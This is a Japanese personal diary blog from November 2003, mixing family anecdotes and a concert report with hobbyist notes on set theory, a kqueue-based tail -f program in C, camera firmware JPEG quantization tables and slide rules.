どういうことかと言いますと、人間にも質量があり、弱いとはいえ重力場を発生しています。特に、お相撲さんの場合は質量が極めて大きいので、一般の人よりはるかに強大な重力場を発生します。さて、このような巨大な重力場を持った二人の相撲取りが向い合ったとしましょう。この場合、昨日書いた様に潮汐効果が発生して、あたかも月の重力で地球が膨らむ様に、お互いのお腹と背中がふくらむのであります(^^;。
この様な膨らみ効果を最大限に生かすためには、なるべく多くの太った人が向かい合うのが良いことは明白です。そこで相撲部屋の登場となりまして、「部屋」という閉鎖的な環境に同門の力士が集まって共同生活を行うことにより、お互いの潮汐効果により体が膨らむ。膨らむからますます潮汐効果が顕著になってさらに膨らむ。さらに膨らむからますます潮汐効果が顕著になって、とんどん膨らむ...。という風に、膨らみ効果が効果を呼ぶ無限の階層が生じ、極限までのデブ現象を生ずることになり、結果的に勝負強い体型を作ることが可能となるのです。
さらにお相撲さんはよく昼寝をします。こちらも地球の重力方向にお腹と背中を向け、潮汐効果を最大限に生かす長年の知恵なのです。
相撲という社会は一見古風な社会と思われていますが、番付の作り方などをみてもなかなか合理的な面を持っているのです。それにしましても、潮汐効果まで考えた制度を作っていたとは、ニュートン・アインシュタインもびっくり仰天の超合理社会なのであります(^^。

2003年11月25日(火)

わっかの膨張と潮汐力
昨日モカが理科の問題を解いていまして、それが膨張に関する問題なのです。もちろん通常は温めると大きくなって、冷やすと小さくなるのですが、小さい頃を思い出しますと、金属のわっかを温めたときの挙動がどうしても理解できなかったのです。下の図のように温めれば膨張して「幅が広くなり」真ん中の穴は小さくなると思ってしまったのですねー(^^;。もちろん真ん中の穴は大きくなるというのが正解なのですが、そのあたりをモカはちゃんと分かるようで、奧さまの説によりますと、「あなたの感覚がずさん過ぎる」ということらしいのです。

それから分からなかったのが、月による潮汐を説明した下の図。上のわっかの膨張の話はともかく、こちらは理解出来なかった人が多かったのでは、と思うのですが、ご多分にもれずどうしても月の反対側の海はへこむとしか思えなかったのです。

2003年11月24日(月)

ザウルスさまのお怒り・壊滅編
歩きながら使っていたら駅の階段で転んでしまって、自分の体とカバンに入っている X24 を守るのが精一杯で、手のひらに持っていたのが私の体重とともに直接地面に激突したのですねー。液晶が完全にいってしまって起動もしないのです。これじゃ修理に出す気にもならないし、いくらなんでも新しいのを買う訳にもいかず、しばらくは PDA なしの生活なのです。メールはケータイに転送する様にすれば良いので、ケータイのパケ割りを復活させてしのぐことになりそうです。問題は @FreeD なのですが、パケ割りを復活させるコストが発生するのと、X24 で使用する頻度はそんなに多くないということで、しばらく解約して、余ったお金(5,000-1,200円・1,200円はパケ割り料金)をプールしていずれ新しいのの購入資金の足しにする、ということになると思います。

2003年11月23日(日)

ドロシー姫
実は来週の日曜日にイベントがありまして、モカ姫がドロシーちゃんの扮装をするのです。くるんくるんのカツラなんてかぶっているので、一瞬「赤ずきんチャチャ」のちっちゃいドロシーちゃんかと思ったのですが、もちろん「オズの魔法使い」のドロシーちゃんなのです。

＃パンダは横浜中華街にゆくと 2,000円で売っているそうです(^^。
超限・超越
数学の世界では超限・超越という言葉と言いますか、概念が多々出てくるのですが、数学を勉強したことがない人には分かりにくい概念だと思いますし、実を言うと私もその本質が分からないのです。雰囲気としては、
有限的な方法では到達不可能な対象
を超限・超越などと呼ぶ場合が多く、例えば「超越数」という言葉は有理数から有限的な(この場合代数的な)方法では到達不可能な数、という意味で使用されるのであると思うのです。ここでなかなか不思議といいますか、面白いのは、有理数を超限的に拡張した実数体や、特にその代数閉包である複素数体の研究がもともとの数論の研究に役立つ場合が多いということなのです。
ここから本題ですが、集合論の世界では「超限」という言葉は日常茶飯事に使用され、一番有名なのが「超限帰納法」という言葉だと思うのですが、これは案外分かりやすく、一般集合のクラスにおける整列可能性を利用した無限に対する帰納法のことなのです。それから無限に関するびっくりするような超限 (極限)の概念としては、強到達不可能性の一つの条件、

η はアレフゼロではなく、任意の μ < η に対して 2^μ < η

なるものがあるらしいのです。普通は無限基数 μ に対する 2^μ を考えるだけでも、有理数の世界から実数の世界への到達でみられるように、とても大きい世界に飛躍する感じがするのですが、そんなものとは比較にならない超限でありまして、実際このような濃度の存在は ZFC と独立なのです。(←大うそです。付記参照のこと)
もともとこのような巨大基数の概念は、「その存在が証明可能な妥当な公理を導入して、その超限性を利用して連続体仮説の ZFC からの独立性を証明」しようというゲーデルの考えから来るものらしく、有限に対する最小の超限が ω₀(任意の自然数 n に対する 2ⁿ より大きい!!) であり、ω₀ なる外延が有限集合の研究にも影響をおよぼすことを考えれば極めて自然な発想ではあるのですが、強到達不可能性の様な極端に大きい「巨大基数」の存在性や性質が実数の性質に関与する辺りの細かい事情は今のところ勉強不足のせいで全然分からないのであります。
[付記 2004年7月10日]
ある方から上の記述に関してコメントを頂きまして、特に μ<η が 2^μ<η を導く η を強極限といい、これ自体は一般連続体仮説を仮定すればℵ_ωが例となり、このような ZFC と矛盾しないことが証明されている基数は「巨大基数」とは言わないということです。本当に色々教えて下さりどうもありがとうございます。一つ言い訳けをしますと、これを書いた時点では、順序数の定義も知らない状態で、当然正則基数の概念も知らず、到達不可能基数の定義を呼んで「強極限」の部分のみに反応してしまったのです。現在は上の記述での見当違いの部分や、理解していなかった部分は大分解消されつつあると自分では思っています。またその方からは、他の部分に関しても色々な間違いや認識にたいするコメントを頂きました。こちらに関しても深くお礼を申し上げます。

2003年11月22日(土)

kqueue,kevent,EV_SET
おうちのページのアクセスログをたれながしたり、開発中のプログラムのログをたれながしたりと、tail -f を使う頻度が高いのですが、ふと tail コマンドはどうやってファイルが増えたのを検知するのだろうかという疑問がわいたのです。一番安易な方法は 0.1 秒単位程度のポーリングで、これでほとんど問題はないのですが、ちょいとかっこ悪いのですねー。それでさっそく /usr/src/usr.bin/tail/ 下のソースを参照したところ、どうも kqueue,kevent というシステムコールを使用しているらしいのです[man kqueue(2)]。いやはや勉強不足といいますか、こんなものがあるとは全然知りませんでした。要するに kernel のイベントを検知するキューを作成して、プロセスから参照可能にするシステムコールらしいのですが、UNIX のシステムコールとは思えないほど引数とその設定が煩雑で、とっても使いにくそうな感じなのです。うわさによりますと Windows の API ではあるフォルダ─のファイルが増えたり減ったりした場合イベントが上がってくる様なものがあるそうですが、この手のものというのはどうしてもごちゃごちゃして汚くなってしまうものなのかも知れません。いずれにしても UNIX にも「雛形が無いととても書けない」という情けないシステムコールがあったのですね。で、雛形がないと今後不便なので、tail -f と同様な機能をもつ雛形を書いてみました。
```
---------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/event.h>
#include <sys/time.h>

static void usage(void);

int main(int argc,char **argv)
{
 struct kevent ev[2];
 int kq;
 FILE *fp;
 int n;
 int count;
 char buf[4096];

 if (argc!=2)
 usage();
 if ((fp=fopen(argv[1],"r"))==NULL) {
 perror("open");
 return(1);
 }
 kq=kqueue(); /* QUEUE を生成 */
 for (;;) {
 /* 全部読んであげる */
 while ((count=fread(buf,1,sizeof(buf),fp))>0)
 fwrite(buf,1,count,stdout);
 fflush(fp);
 fflush(stdout);
 clearerr(fp); /* EOF エラーをキャンセル(忘れてはまった!!) */
 /* VNODE に関するイベント */
 EV_SET(&ev[0],fileno(fp),EVFILT_VNODE,
 EV_ADD|EV_ENABLE| EV_CLEAR,
 NOTE_DELETE|NOTE_RENAME, 0, 0);
 /* ファイルの読み込み状況変化に対するイベント */
 EV_SET(&ev[1],fileno(fp),EVFILT_READ,
 EV_ADD|EV_ENABLE|EV_CLEAR,0,0,0);
 if (kevent(kq,ev,2,NULL,0,NULL)>=0) /* 登録 */
 kevent(kq,NULL,0,ev,1,NULL); /* 検査 */
 }
 return(1); /* NOT REACHED */
}
static void usage(void)
{
 fprintf(stderr,"usage: changecheck filename\n");
 exit(1);
}
---------------------------------------------------------------------------
```
いまいち良く分からないのですが、注意点としては、
- ファイルが増えた場合 EOF まで読んであげて、イベントの要因を除去してあげないととんでもないビジー状態になってしまう。このあたりの事情は select とおんなじです。
- 登録用の kevent と検査用の kevent を両方発行しないとうまくゆかない様で、やはりビジーとなる。
というわけで便利な場合もありそうなのですが、なかなか使いにくい代物なのであります。

2003年11月21日(金)

お休み
昨日の晩から熱が出て下がらず。今日はお休み。

2003年11月20日(木)

訂正
昨日の LUMIX FZ1 のバージョンアップの量子化テーブルなのですが、どうも写真によって異なるようなのです。もしかすると、JPEF ファイルのサイズを調整するために量子化テーブルを動的に変更しているのかも知れません。ただ平均的なファイルサイズは増えていますし、画質も良くなっているので、JPEG の量子化テーブルと、ノイズキャンセラ─・フィルター等両方の改善が行われた可能性もあります。謎ですな。
＃元の画質が向上すると情報量が増えるので、JPEG 化したファイルサイズが
＃増大する傾向にあります。

2003年11月19日(水)

DMW-VUZ1 インストール
やっとおうちに帰って LUMIX FZ1 にバージョンアップファームウエアのインストールを行ったのです。手順自体は簡単でして、
- カメラにまんたんに充電した電池を入れ、かつまた外部電源も接続する。
- DMW-VUZ1(FZ1 バージョンアップキット)の SD カードを入れる。
- 「撮影画像を見る」モードにダイアルを合わせて電源を入れる。この段階でバージョンアップメニューが現れる。
- 「EEP とファーム」「EEP のみ」「ファームのみ」から「EEPとファーム」を選択して実行。
- 終わったと出るまでじっと待つ。
という訳ですが、「EEP のみ」や「ファームのみ」を選ぶと回復不可能となり有償修理になるそうな(^^。ここで EEP は EEPROM のことで、焼き直し可能なシリアル ROM なのです。内部 PLD(書き換え可能ハードウエア) の初期化に使用されていると思われます。「ファーム」は内部の FlashROM に焼かれるソフトウエア─の部分だと思うのですが、これらに不整合があるととてもまずいことになるのでしょうな。
で、肝心の絞り優先・シャッター速度優先機能なのですが、今日はそのような機能を使うねたもなく、動作するのを試してみただけであります。無理やり機能を追加したせいかどうか分かりませんが、メニュー操作がいろいろありまして、ちょいと面倒な感じがします。もう一つの画質向上ですが、これはちょっと見た目にも良くなっておりまして、JPEG の量子化テーブルを調べてみますと、これが驚くほど違っているのです。←検索でこられた方へ。日記の上の方 (明日^^)に書いたようにこの記述の一部に関しては勘違いでした。
Y(輝度)成分
```
            旧                             新
     01 01 01 01 01 01 01 01      01 01 01 01 01 01 01 01
     01 01 01 02 02 01 02 02      01 01 01 01 01 01 01 01
     02 02 02 02 03 02 02 02      01 01 01 01 02 01 01 01
     02 02 03 04 04 04 03 04      01 01 02 02 02 02 02 02
     04 04 05 05 06 07 05 05      02 02 02 02 03 03 02 02
     05 06 04 05 07 06 06 06      02 03 02 02 04 03 03 03
     07 07 07 07 04 07 08 06      03 03 04 04 02 04 04 03
     08 08 08 07 07 07 07 07      04 04 04 04 04 03 04 04 
```
```
UV(青赤)成分
              旧                          新
     02 01 02 02 02 02 02 03     01 01 01 01 01 01 01 02 
     03 02 05 07 05 04 07 07     02 01 02 04 02 02 04 04
     07 07 07 07 07 07 07 07     04 04 04 04 04 04 04 04
     07 07 07 07 07 07 07 07     04 04 04 04 04 04 04 04
     07 07 07 07 07 07 07 07     04 04 04 04 04 04 04 04
     07 07 07 07 07 07 07 07     04 04 04 04 04 04 04 04
     07 07 07 07 07 07 07 07     04 04 04 04 04 04 04 04
     07 07 07 07 07 07 07 07     04 04 04 04 04 04 04 04
```
上の表を見ますと新しい方が全体的に小さい数が並んでいますが、この数が二次元周波数ごとの JPEG 間引き率(行列の左上の方が低周波で右下に行くほど高周波)を表していまして、数値が小さいほど画質が良くなるのです(圧縮率は悪くなる)。それにしても想像していたよりはるかに量子化テーブルを(画質的に)改善して「間引き」を少なくしたのですね。といいますか前のテーブルが悪すぎ(^^;。1600x1200 の場合のみの向上ということで、FZ1 では SD カードを節約するために間引きを多くしていたのだと思うのですが、ちょいとやりすぎてしまったのでしょうな。そもそも SD カードを多めに使った方が松下さんは儲かって良いと思うのですが(^^。もともと JPEG は色成分を多めに間引く慣習で、特に原色の赤・青に弱いのですが、これで 11月16日のシクラメンの赤色(良くない！！)の様な場合、特に改善が見込まれるのであります。

2003年11月18日(火)

DMW-VUZ1
今日は泊りになりそうなので明日(^^。それはともかく、電気屋さんから入荷したと電話がかってきまして取りに行ったところ(会社の目の前にあるのです)、店員さんが入荷物を発見できず、なんと 5分くらいあっちこっちを探してやっと見つかったのです。うーむ、会社の近くで比較的価格も安いので便利は便利なのですが、ちょっとな～、という面もありますな。

2003年11月17日(月)

続・文系先生 VS 理系姫
つっこみが入りまして、テキトーなのは性格の違いであり、あんまり文系・理系の違いはないのではないか、ということなのです。確かに性格も違いも大きいと思うのですが、個人的には理系人間方がテキトー度が高いような気がしますし、「テキトー」に関する私の見解は前回の日記に書いた通りで、全く準備をしないという意味ではないのです。もちろん理系の人にもきちんと物事を計画立てて進める人はたくさんいますし(テキトーにもその意味を入れたつもりなのですが...)、文系の人でもテキトーに物事を進める人がいらっしゃることは分かります。そういう意味をこめて先生のことを「かちんかちんの文系」と書いたのです。ちなみに突っ込まれた方は文系の知り合いの方なのですが、非常に頭の良い人でして、理系的センスもなかなかのものであると思っているのです(^^。
最近のザウルス SL-B500
SD カードが不調になり Emacs や w3m が使用できなくなったザウルスですが、一生懸命カスタマイズした状態からデフォルトに戻して、添付のブラウザやメーラーを使っていてもそんなに困らないし、固まらなくなったのもポイントが高いのです。おそらく天寿をまっとうするまでカードなしの状態で使用することになると思います。今思うとカスタマイズすること自体がとっても楽しかったのですねー(^^。
実を言いますと、こちらのザウルス(SL-C860) と対応 PHS カードを購入すれば、PDA(端末)認証技術により、月々 2,000円程度でインターネット繋ぎ放題になるらしいということで、@FreeD の月額約 5,000円を考慮すると、ある程度の期間で元がとれるかと一瞬思ったのですが、考えてみると @FreeD は X24 で使う比率も高く、しかもこれから 2年近くも現状の価格や激とろ通信速度が続くとも思えないので、この案はあっさりとボツになったのであります。
＃ PDA でそんなに長時間接続する人がいるとは思えないので
＃それなりに安く出来るのでしょうね。

2003年11月16日(日)

難しかった立体視
実は木曜日に会社の H さんが持っていた「星がとびだす～伊中明著 ISBN4-7741-1795-1」という本が面白そうだったので、モカちゃんが喜ぶかな～、と思って発注したのです。この本は星座の立体視(近い星が浮かび上がって見える)のでして、裸眼で立体視を行うのは結構難しいのですが、付属のメガネを使うと(私の場合は)簡単に立体視が出来てとても綺麗だったのです。
で、昨日届いたのでさっそく姫に進呈したのですが、全然立体視が出来ないらしいのですねー。奧さまの話によりますと、子供の場合立体視が難しいことがあるそうで、しばらくは本棚の飾りになってしまいそうな状態なのであります。
サフランとガーデンシクラメン
今朝おうちのベランダで咲いたサフランと、咲いたのを買ってきたガーデンシクラメン三種。

2003年11月15日(土)

MC
今月号は猫森通信が入ってますね。来年の京都と神戸の FC 先行予約郵便振り込みを書いたのですが、字が小さくて目が疲れてしまいました。
＃よくみると郡山と仙台もあるのですね。でも二週間連続だと体力きつそう。
＃どうしよう(^^;。
仙台に行くとさすがに体がもたないので、郡山だけにしようかな。谷山浩子さんのページ更新。

2003年11月14日(金)

LUMIX FZ1 バージョンアップ注文

いつのもようにたかたにさんに教えて頂いたのですが、LUMIX FZ1 を実質 LUMIX FZ2 に変更するファームウエア(DMW-VUZ1)が本日発売されたのです。FZ1 を買ったのがこの頃でして FZ2 が発売されたのが半月後のこの頃で、機能的にやや不満であったたことがほぼ解消されていたので、とっても不愉快だったのです(^^。今回は FZ2 と同様に、一番欲しかった絞り優先とシャッター速度優先が選択できる機能が付いて、さらに画質も若干向上ということなので、6,000円の価値は十分あると思います。もともと FZ1 は何の設定もしないで、そこそこのズーム写真を簡単に撮れるのがウリだったと思うのですが、やはりある程度の細かい調整をしたいという要望も多かったのだと思います。本当のことを言いますと、昨日タイトルのリンクページを印刷しまして、会社の近くのお店に注文しにいったのですが、丁度声をかけた店員の人があんまり良くなかったのです。

私「こちらの商品を注文したいのですが」

店員さん「これは部品ですか。部品ならば別階となります」

私「部品ではなくソフトといいますかファームといいますか」

店員さん「はあ～」

私そんなことあんたが判断しなよなー、と思いながら

「SD カードといいますか」

店員さん「少々お待ち下さい」、と言って近くのベテランさんに聞きに行く

私ここで 3分位待たされる

店員さん「今こちらの端末で調べます」...ごにょごにょごにょ

「申し訳けございませんが当店では扱っておりません」

私「いやっ、だから注文したいと」(^^;

店員さん「こちらの端末に出ないとだめらしいんです」

私だっ、だめらしいって(^^;。そもそも端末のことなんて聞いてないって～、

と思いながら、「注文も受け付けないのですか」

店員さん「少々お待ち下さい」と言ってまたまたベテランさんに聞きにゆく

店員さん「申し訳けございませんでした。それではこちらの注文書に...」

という感じで、注文するのにもなかなかの苦労が必要だったのです。で、本日会社に電気屋さんから電話が入りまして、最初に「昨日は申し訳けありませんでした」とあやまりが入りまして(何回も聞きに来られたベテランの人らしい)、来週の中頃に入りそうだとのことです。

余談ですが、今回のバージョンアップでの「画質の向上」によりファイルサイズがやや大きくなるそうで、単に JPEG の量子化テーブルを変更しただけなのか、ノイズキャンセラーやフィルター回りのソフトが改善したのかにも興味がありまして、JPEG の量子化テーブルの変更かどうかはヘッダーの部分をダンプすればすぐに分かるので、こちらもお楽しみなのです。

無理やりはがしたビルゲーツロゴ
いやー、三日前に Intel のロゴを取ってから、あたかも治りかけのかさぶたのごとく Micorosoft の方もはがしたくって、はがしたくって仕方なかったのですね─。それで今日の夕方ついに耐えきれなくなって無理やりはがしたのが下の写真なのです。

なかなか強力に張り付いていまして、本体のプラスチックごと壊滅したらどうしようと心配だったのですが、なんとか取れて下さりまして、おうちに帰ってから水拭きをしたらそこそこ綺麗な姿になったのです。あー、すっきりした～(^^。

2003年11月13日(木)

あれれっ
下の説明、引き算の場合と割り算の場合は良さそうですが、足し算と掛け算の場合は大嘘ですねー。考えるのが面倒になってきたので修正しませんが、 テキトーに おんなじようなことをやるのです(^^。
昔の計算道具
昨日会社で昔は計算が大変だったね～、という話になったのですが、私が高校生の頃はパーソナルコンピューターは存在せず、電卓でさえ四則演算と平方根の機能だけで 20万円(田中角栄以前なので今なら 100万円の感覚！)位した時代なのです。そんなわけで当時はそれなりの計算能力を持っていたとは思うのですが、それでも物理や化学の演習問題を解く場合にいちいち手計算をしていたのでは時間がかかりすぎて効率が悪かったのです。そこでなんらかの道具が必要だったのですが、そろばんは乗除の手間がかかりすぎるし、そもそも不器用なので加減も出来なくてだめ。対数表は目的の数値を探すのが大変で面倒なのでだめ。ということで「計算尺」というものを愛用していたのです。まず簡単のために足し算を例に説明致しますが、普通の定規を二本準備したと思って下され。
```
|-------------------------------------------------|
0    1    2    3    4    5    6    7    8    9    
          +              |
                         | cursor
                         |                        +
          0    1    2    3    4    5    6    7    8    9 
          |------------------------------------------------|
```
例えば 5+3 を計算したい場合、カーソルという上の縦線で表された基準線を上の定規の 5 の部分に合わせて、こんどは下の定規の 3 の場所をカーソルに合わせれば、上の定規の右端に対応する下の定規の目盛りがめでたく 8 となるわけであります。ついでに引き算も出来ていまして 5-3 の場合は下の左端に対する上の定規の目盛り(2)となるわけです。
もちろん上の例は小学校一年生の遊び道具にするには良くても、実際には暗算の方が速くあんまり役にもたちません。本当の「計算尺」は基本的に乗除を行う計算道具でして、ご想像の通り対数目盛りで上と同様なことを行ったのです。
```
|-------------------------------------------------|
1       1.5       2        3    4    5   6  7 8 9 10
         +                 |                      
                           | cursor
                           |                      +  
         1       1.5       2        3    4    5   6  7 8 9 10
         |-------------------------------------------------|
```
上の図は対数目盛り(log[X] が左から X の距離にある) の定規を二本準備したような図でして 3x2 の計算を行う場合、足し算の場合と同様に 3,2 と目盛ってある場所をカーソルに合わせます。するとうまいことに 3x2=6 の値は上の定規の右端に対応する下の定規の目盛りですし、3 を 2 で割った値の 1.5 は下の定規の左端に対応する上の定規の目盛り(1 と 2 の真ん中ではない！)に対応するのです。上の図は極度に杜撰なのですが、もちろん実際の計算尺は非常に正確に目盛りが打ってあり、私でも有効数字二桁位、達人ともなりますと有効数字 3 桁程度の乗除が可能だったのです。究極のアナログ計算機ですな(^^。

2003年11月12日(水)

文系先生 VS 理系姫
昨日奧さまと話をしていたら、モカが担任の先生と大喧嘩したとのこと。学級でスライム(ほう砂とせんたく糊でつくるぷにょぷにょ)を作ることになりまして、先生が「ちゃんと作り方を調べましょう」という意味のことを言ったらしいのです。それに対してモカ姫が「テキトーに作ればいいじゃん」 と言ったらしいのですが、「テキトーにとはなんだ」ということで喧嘩になりまして、最後に姫が、
「はいはいそうですか～。すみませんでしたねー」(^^
と言ったのに先生が切れてしまったそうなのです。最後は胸ぐらをつかまれて「こいつー」という事態にまで至りまして、クラス中が沈黙するほどの雰囲気になったそうな(^^;。
で、事件自体はたいしたことではなくどうでも良いのですが、この件に関して奧さまが、
「最近分かってきたのだけど、テキトーにって色々試行錯誤して良い方法を模索していくという理系の発想だよね。あなたもよくテキトーにやっていれば自然に出来るって言うよね。あの先生はかちんかちんの文系で、マニュアルに従って一つずつきちんと物事を進める人だから、そのあたりの意味が分からなかったのじゃないかな」
と言うのです。ふむふむ、さすがに私の奧さまだけあって、文系出身でありながら理系のセンス非常によろしく、まさに本質を見抜いていますな。姫様の「テキトーに」という言い方は、普段私が多用している影響はあると思うのですが、「本筋さえ間違えていなければ、細かいことは後で調べれば良いので、まずはやってみよう」という意味に違いないし、肝心な部分に対しては細心の注意を払うということも含んでいるのです。だたしテキトーにという言葉は、今回のような誤解を招きやすいので、あんまり使わないように注意した方がよいかな。
いずれにしましても今回の事件のように、文系先生と理系姫の戦いは延々続くと予想されるのであります(^^。

2003年11月11日(火)

ついにはがれたインテルのロゴ
今日のお昼休みに X24 で遊んでいたら左手のあたりがもぞもぞするので見てみたら、X24 にしつこくへばりついていた Intel のロゴがはがれかかっていたので、強引にはがしたのが左の写真なのです。そもそも印刷ははるか昔にはげてしまって、何のシールか全く判読不明な状態だったのですが、一年がかりでやっと取れたのです。
それで、問題は右側にこちらも意味不明になったシールといいますか、金属のようなものがくっついているのですが、これはもちろんビル・ゲーツ OS さまの(XP だったと思う)ロゴなのでして、Intel よりはるかに強烈に、蛭、もしくはすっぽんのごとくへばりついているので、とても無理やりはがす勇気はでません。ちなみに右側の写真がサーバーの R30 でして、こちらは Intel,Microsoft ともに健在で、一年くらい持ち歩いた割にはちゃんと印刷も残っているのです。

本当のことを言いますと、これらのマシンは確かに Intel の CPU で動いているので、Intel のロゴが残っているのは気にならないのですが、 FreeBSD マシンなのに Microsoft のロゴの方がしつこくひっついているとは、人生うまくゆかないものですな(^^;。
＃はがした後は何を使って拭けば綺麗になるのだろう。

2003年11月10日(月)

またまた電車ではまる(^^;
おんなじねたばっかりで申し訳けないのですが、二時間位しか寝ないで家を出て、例のごとく降車駅を二駅ほど過ぎてしまったのです。ここまでは良くあることでして、普通はそこから戻って正常な経路となるのですが、なんと目が覚めたら藤沢だったのです(^^;。一時間近くかかって行きすぎて、逆方向の電車でまたまた一時間位寝てしまって出発駅に戻ってしまったのですねー。とっても眠いのを我慢して起きたのに、なんと一時間以上も遅刻するはめになったのであります。

2003年11月9日(日)

名古屋公演

11時頃家を出て大阪のときと同様に小田急線と中央線で東京へ。「こだま」で名古屋到着が 16時15分頃。会場の今池ガスホールは地下鉄の今池駅の 10番出口から直接入れるので、さすがに道に迷うことはなかったのであります。

演奏ですが、ピアノソロの「真夜中の太陽」でうっとりして、次の「カントリーガール」「河のほとりに」でリラックスモード。ちなみに浩子さんは大阪で「河のほとりに」を歌った時、直前の阪神優勝川飛び込みねたのことを思い出して吹き出しそうになったそうな。「森へおいで」「Elfin」と好きな曲が続いて、リクエストの三曲がなかなか絶妙だったと思います。「会いたくて」「SORAMIMI」「小さな魚」の組み合わせも良かったし、「SORAMIMI」ってちょっと苦手な曲だったのですがやっと良さが分かってきたかも知れない。「宇宙の子供」からの三曲は、「神様」「ここにいるよ」が期待通り(以上！) のすばらしい演奏。そしてアンコールが今年始めの京都ソロ公演から聴くたびに感動が深まり、大阪と今日はハンカチなしでは聴けなかった「DOOR」なのです。この演奏を聴くためにだけでも大阪と名古屋に行って良かったと思えるほどで、今後浩子さんがめざしている思われる (京都ソロコンサート参照)、「音楽に対して演奏効果(これは絶対に必要)以上に、内面的な美しさと、より精神的な深さを求めたい」という方向を示していると感じるのです。
今年の後半は、猫森・大阪・名古屋のコンサートを聴くことができたのですが、個人的には、純粋に音楽を堪能できるという意味で、猫森の様な形式より普通のコンサート形式の方が好きです。

余談ですが、今日の浩子さんのスカートは黒っぽくてちょっとしわしわな感じのものだったのです。浩子さん自身はとても気に入っているらしいのですが、同じスカートでコンサートをやったとき、「ごみ袋みたいだ^^」とアンケートに書いた人が何人かいたそうで、ちょっとがっかりしたという話がありました。

終演後外で見送りをして、21時20分頃の「のぞみ」に乗って、家に到着したのが 23時40分頃。電車で寝てしまったせいもあると思うのですが、コンサートの曲が頭のなかでループして、朝の 4時頃まで眠れなかったのであります。

曲名備考

真夜中の太陽オープニング

カントリーガール昔の作品

河のほとりに

森へおいで怪しい森の人

Elfin

リカちゃんのポケットリクエスト

楽園のリンゴ売りリクエスト

ガラスの巨人リクエスト

会いたくて猫森で好評だった曲

SORAMIMI

小さな魚

神様宇宙の子供より

ここにいるよ

よその子

ドッペル玄関最後は景気良く

月見て跳ねる

DOOR アンコール

＃全然関係ない話ですが、今月の MC は 11月13日発送予定だそうです。

2003年11月8日(土)

自宅サーバー活用法
私が勤めている会社は意外とセキュリティーにうるさくて、社外から見える anonymous ftp を設置したり、HTTP サーバーの適当な場所に好き勝手なファイルを置いたりするのはご法度なのです。こういう場合困るのは 10M バイト以上のファイルをお客様や共同で開発している会社様に送りたい場合で、メールに添付するにはちょいと大きすぎるのです。こんなときに便利なのが自宅サーバーでして、ちょっと奥深い場所にファイルを置いて URL を教えて差し上げれば、簡単にファイルを取ってもらえる訳でして、ログを調べれば首尾よく完了したかどうかもすぐに分かるので、なかなか便利に使えるのであります。
解剖
今日はモカのサイエンス倶楽部の日でお題目は「解剖」。解剖と言いますと、私の経験ではカエルとかネズミをエーテルの入った瓶に放り込んで、麻酔をかけた状態で生きたまま切り裂くという、子供にとっては可愛そうと思いつつわくわくの体験だったと記憶しているのですが、今日の内容を聞いてみると「魚屋さんで売っているような死んだアジの解剖」なんんだそうで、これではあんまり面白くないでしょうな。二女に聞いても小学校のとき死んだ鮒の解剖をしただけということで、最近は生きたまま切り裂くという行為は「残虐である」ということでやらないのかな。ちょっと肝臓に傷をつけると真っ白になってしまったり、内臓をほとんど取ってしまっても心臓だけはしぶとく動き続けるなど、生きたままの解剖はなかなか良い勉強になると思うのですが、なんかつまんない時代になってきたものですな。

2003年11月7日(金)

神様

2003年11月6日(木)

時を駆ける少女
原田知世さんの話ではなく、アインシュタインの特殊相対論の話なのです。ある観測者から見て速度が速い物体は時間の経過が遅くなるという話は、あまりこちらの方面に興味がない方もご存じだと思います。特に光の速度に到達すると時間の経過が 0 になるのです。この事実はローレンツ変換という空間と時間を統合した変換から導かれるのですが、この前本を読んでいたらとても分かりやすい説明があったのです。
```
N                       N                       N
|                       |                       |   
|                       |   /|                  |  /|
|   speed=1             |  /                    |   |
|--------------->       | / speed=1             |   | speed=1
|                       |/                      |   |
---------------- W      ---------------- W      ---------------- W 
    figure 1                figure 2                figure 3
```
上の図で矢印の線は移動している物体で、観測者は下の方から眺めているとしまして、あんまり目が良くなくて遠近感がないものとします。ここで全部の矢印線の長さ(速度)が等しいとしますと、観測者からは図1は速度 1、図2 の場合 1/3 位の速度、図3の場合は速度 0 に見えることになります。
```
x,y,z                   x,y,z                   x,y,z
|                       |                       |   
|                       |   /|                  |  /|
|   speed=c             |  /                    |   |
|--------------->       | / speed=c             |   | speed=c
|                       |/                      |   |
---------------- t      ----------------  t     ---------------- t
    figure 4                figure 5                figure 6
```
同様なことが時間と空間の関係にも適用できまして、実は「すべての物体(あなたも！)は光の速度で時空を移動」していて、図4,5,6は時間軸が横軸、空間方向ははしょって全部縦軸にとって物体が光速(=c)で時空を移動している図なのです。図4 は普通に言う静止状態で、移動方向がすべて時間軸に影響します。速度が速くなってきたのが図5でありまして、空間移動の方に速度を「とられて」時間方向への進みが遅くなっています。図6は光速で空間を移動の場合で、時間方向へはまったく移動できません。アインシュタインが、
みんな光の速度で動いている
という意味のことを言ったそうですが、我々の通常の静止した 1秒間の事象とは、光速で時間方向に進むことなのであり、なかなか貴重な体験なのであります。
＃お題目とあんまり関係ないかな(^^。

2003年11月5日(水)

続・風邪
38度の熱が出て会社で死んでます。ねたを考える元気もなかったりします(^^;。
↑夕方から復活のきざし(^^。

2003年11月4日(火)

風邪
出社したが熱が出てきた。

2003年11月3日(月)

ミルキーの悲劇
おとといは「小枝の悲劇」だけではなく、実は「ミルキーの悲劇」もあったのです。二女(またかよ^^)の机に封は開いていたのですが、たくさん残っているミルキーの袋がありまして、ちょうど何か食べたかったので「こんなにたくさん入っているのなら一つくらい食べても分からないな～」ということでいっこ食べてしまって、その後二女の所に行って、「一つ食べていいよねー」と後許可をもらいにいったのです。
- パパいっこ食べていいでしょ
- 二女だめ！
- パパあんなにあるのだからいっこ位いいじゃん
- 二女あれは学校の行事でみんなに配るのだから絶対だめ！！
- パパふーん
うー、ほんとはもう食べてしまったのに(^^。まあいいやどうせわかんないし、とたかをくくっていたのですが、それを聞いていたモカが私の所に来まして、
- モカホントは一つ食べちゃったんでしょ
- パパどうして分かるの(^^。
- モカだっていつものことだもん。だけどクラスの人数分数えていたからまずいよ(^^;;;
昨日クラスで配ったそうで、何人か休んだのかどうかは知らないのですが、一応ばれてはいないようなのです。ただし、モカには一月 300円のおこづかいなのに、500円玉しかなかったという事情はあったのですが、200円余分にあげて口止めをするはめになったのであります(^^。

2003年11月2日(日)

ソロライブツアー・京都と神戸
ソロライブツアー京都と神戸の情報を「谷山浩子さんのページ」に追加。
大阪公演
